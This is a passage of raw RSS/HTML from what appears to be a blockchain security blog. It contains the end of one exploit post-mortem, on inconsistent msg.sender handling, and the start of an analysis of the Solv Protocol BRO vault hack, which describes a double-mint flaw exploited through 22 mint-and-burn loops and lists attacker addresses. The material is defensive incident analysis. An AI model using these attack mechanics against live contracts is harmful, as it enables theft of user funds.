loading="lazy"></picture><div></div></div></a></figure></div><p>As a result, the contract repeatedly assumes that the attacker&#8217;s burn contribution has not yet been processed and recalculates rewards every time <code>updateStats</code> is invoked.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bnhn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bnhn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png 424w, https://substackcdn.com/image/fetch/$s_!bnhn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png 848w, https://substackcdn.com/image/fetch/$s_!bnhn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png 1272w, https://substackcdn.com/image/fetch/$s_!bnhn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bnhn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png" width="1456" height="586" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:586,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:656691,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/192286629?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bnhn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png 424w, https://substackcdn.com/image/fetch/$s_!bnhn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png 848w, https://substackcdn.com/image/fetch/$s_!bnhn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png 1272w, https://substackcdn.com/image/fetch/$s_!bnhn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7988c1d0-3466-412a-8d26-d1839b5aae30_2794x1124.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1><strong>Conclusion</strong></h1><p>The root cause of the vulnerability is inconsistent identity handling in a meta-transaction context. By mixing <code>msg.sender</code> and <code>_msgSender()</code> across different parts of the same execution flow, the contract attributes related state updates to different addresses. This leads to a breakdown in internal accounting, allowing an attacker to repeatedly claim rewards from a single action and ultimately drain funds from the protocol.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Solv Protocol Hack Analysis]]></title><description><![CDATA[Solv Protocol (SOLV) is a Bitcoin DeFi platform that allows users to stake BTC or liquid staking tokens (LSTs) in exchange for SolvBTC.]]></description><link>https://blog.verichains.io/p/solv-protocol-hack-analysis</link><guid isPermaLink="false">https://blog.verichains.io/p/solv-protocol-hack-analysis</guid><dc:creator><![CDATA[LCD]]></dc:creator><pubDate>Fri, 13 Mar 2026 03:00:56 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!PnRL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Solv Protocol (SOLV)</strong> is a Bitcoin DeFi platform that allows users to stake BTC or liquid staking tokens (LSTs) in exchange for SolvBTC. Its Bitcoin Reserve Offering (BRO) enables institutions to mint SOLV using BTC reserves while generating yield through DeFi strategies. On <strong>March 3, 2026</strong>, the protocol&#8217;s BRO vaults experienced an <strong>exploit</strong>, resulting in a loss of <strong>38.0474 SolvBTC (~$2.7M)</strong>. The root cause was a <strong>smart contract vulnerability resembling a re-entrancy&#8211;like attack</strong>.</p><h1>Overview</h1><ul><li><p><strong>Attacker</strong>: <a href="https://etherscan.io/address/0xa407fe273db74184898cb56d2cb685615e1c0d6e">0xA407fE273DB74184898CB56D2cb685615e1C0D6e</a></p></li><li><p><strong>Attacker&#8217;s contract</strong>: <a href="https://etherscan.io/address/0x6aa78a9b245cc56377b21401b517ec8c03a40f03">0x6aA78a9B245Cc56377b21401B517EC8c03a40F03</a></p></li><li><p><strong>Attacker&#8217;s wallet</strong>: <a href="https://etherscan.io/address/0xb32d389901f963e7c87168724fbdcc3a9db20dc9">0xb32D389901f963E7C87168724fBDCC3A9DB20dc9</a></p></li><li><p><strong>Vulnerable contract</strong>: <a href="https://etherscan.io/address/0x15f7c1ac69f0c102e4f390e45306bd917f21cfcf">BitcoinReserveOffering</a></p></li><li><p><strong>Attack transaction</strong>: <a href="https://etherscan.io/tx/0x44e637c7d85190d376a52d89ca75f2d208089bb02b7c4708ad2aaae3a97a958d">0x44e637c7d85190d376a52d89ca75f2d208089bb02b7c4708ad2aaae3a97a958d</a></p></li></ul><h1>Analysis</h1><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PnRL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PnRL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png 424w, https://substackcdn.com/image/fetch/$s_!PnRL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png 848w, https://substackcdn.com/image/fetch/$s_!PnRL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png 1272w, https://substackcdn.com/image/fetch/$s_!PnRL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PnRL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png" width="1456" height="845" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:845,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:609760,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/190690332?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PnRL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png 424w, https://substackcdn.com/image/fetch/$s_!PnRL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png 848w, https://substackcdn.com/image/fetch/$s_!PnRL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png 1272w, https://substackcdn.com/image/fetch/$s_!PnRL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdcd8f594-b72f-4922-8369-d725037de7c4_2222x1290.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>From an initial review of the transaction, the attacker executed a <strong>22-iteration loop</strong> to mint and burn tokens, with the amount of <strong>BRO tokens doubling each time</strong> (what an interesting strategy!).</p><p>In each cycle, the attacker performed the following steps:</p><ol><li><p><strong>Burned BRO</strong> to receive a <strong>GOEFS NFT</strong> (a vault share NFT used to represent ownership and enable functions such as voting).</p></li><li><p><strong>Burned the NFT</strong> to redeem the <strong>BRO tokens back</strong>.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ds8h!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ds8h!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png 424w, https://substackcdn.com/image/fetch/$s_!ds8h!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png 848w, https://substackcdn.com/image/fetch/$s_!ds8h!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png 1272w, https://substackcdn.com/image/fetch/$s_!ds8h!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ds8h!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png" width="1456" height="897" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:897,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:706293,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/190690332?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ds8h!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png 424w, https://substackcdn.com/image/fetch/$s_!ds8h!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png 848w, https://substackcdn.com/image/fetch/$s_!ds8h!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png 1272w, https://substackcdn.com/image/fetch/$s_!ds8h!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a78d354-2275-44ce-a67d-d5d6981e92c6_2320x1430.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A deeper inspection reveals an interesting issue in the <code>mint()</code> function: it mints BRO tokens <strong>twice</strong> for a single burned NFT. This effectively means that an attacker could <strong>acquire an NFT and redeem it to receive double the amount of BRO</strong>, creating an immediate profit opportunity.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7KEp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7KEp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png 424w, https://substackcdn.com/image/fetch/$s_!7KEp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png 848w, https://substackcdn.com/image/fetch/$s_!7KEp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png 1272w, https://substackcdn.com/image/fetch/$s_!7KEp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7KEp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png" width="1456" height="951" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:951,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:424163,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/190690332?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7KEp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png 424w, https://substackcdn.com/image/fetch/$s_!7KEp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png 848w, https://substackcdn.com/image/fetch/$s_!7KEp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png 1272w, https://substackcdn.com/image/fetch/$s_!7KEp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0567f932-eb10-490b-b5ea-587e11e829ef_1938x1266.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>After double-checking the verified source code of <a href="https://etherscan.io/address/0x15f7c1ac69f0c102e4f390e45306bd917f21cfcf">BitcoinReserveOffering</a>, we can confirm that the contract contains a <strong>double-mint vulnerability</strong>. This flaw is the root cause of the exploit.</p><p>P/S: This is <strong>not a re-entrancy bug</strong>, since the control flow remains entirely within the contract and <strong>no external calls are involved</strong>. As a result, the vulnerability stems from flawed internal logic rather than re-entrant execution.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!B42s!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!B42s!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png 424w, https://substackcdn.com/image/fetch/$s_!B42s!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png 848w, https://substackcdn.com/image/fetch/$s_!B42s!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png 1272w, https://substackcdn.com/image/fetch/$s_!B42s!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!B42s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png" width="1456" height="629" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:629,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:661353,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/190690332?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!B42s!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png 424w, https://substackcdn.com/image/fetch/$s_!B42s!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png 848w, https://substackcdn.com/image/fetch/$s_!B42s!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png 1272w, https://substackcdn.com/image/fetch/$s_!B42s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd4bdfeb2-b4f8-4014-8bd5-95cbb9e27160_2534x1094.png 